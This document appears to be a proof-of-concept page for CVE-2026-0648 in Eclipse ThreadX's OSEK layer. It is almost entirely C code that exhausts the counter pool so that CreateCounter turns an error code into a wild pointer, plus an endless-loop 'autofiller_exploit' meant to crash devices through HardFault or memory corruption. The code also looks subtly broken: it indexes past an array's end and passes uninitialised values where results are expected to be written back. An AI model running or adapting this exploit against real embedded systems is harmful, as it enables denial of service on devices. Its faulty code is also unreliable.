CVE-2026-0648 Eclipse ThreadX OSEK CreateCounter 野指针内存写入漏洞

// PoC for CVE-2026-0648 // Eclipse ThreadX OSEK CreateCounter Wild Pointer Vulnerability // This PoC demonstrates exhausting the counter pool to trigger the vulnerability #include "tx_api.h" #include "tx_osek.h" #define DEMO_STACK_SIZE 1024 #define MAX_COUNTERS 16 // Typical counter pool limit TX_COUNTER counter_handles[MAX_COUNTERS]; void poc_cve_2026_0648(void) { StatusType status; CounterType counter_id; // Step 1: Exhaust the counter pool by creating counters // until all slots are consumed for (int i = 0; i < MAX_COUNTERS; i++) { status = CreateCounter(counter_handles[i], counter_id); if (status != E_OK) { // Counter pool exhausted break; } } // Step 2: Now the counter pool is exhausted, any additional // CreateCounter call will trigger the vulnerability // osek_get_counter() returns E_OS_SYS_STACK (12U) // but code checks for cntr_id == 0, so error branch is skipped // Result: 12U cast to OSEK_COUNTER* creates wild pointer // Subsequent writes to *counter_id cause HardFault or memory corruption status = CreateCounter(counter_handles[MAX_COUNTERS], counter_id); // At this point, counter_id contains 12 (E_OS_SYS_STACK) // Writing to counter_id->xxx writes to address 0x0000000C // This will trigger HardFault or corrupt memory } // Alternative: AutoFiller variant that continuously calls CreateCounter void autofiller_exploit(void) { CounterType counter_id; // Keep creating counters until pool is exhausted while (1) { CreateCounter(NULL, counter_id); // Each call after pool exhaustion creates wild pointer // This leads to DoS via HardFault or memory corruption } }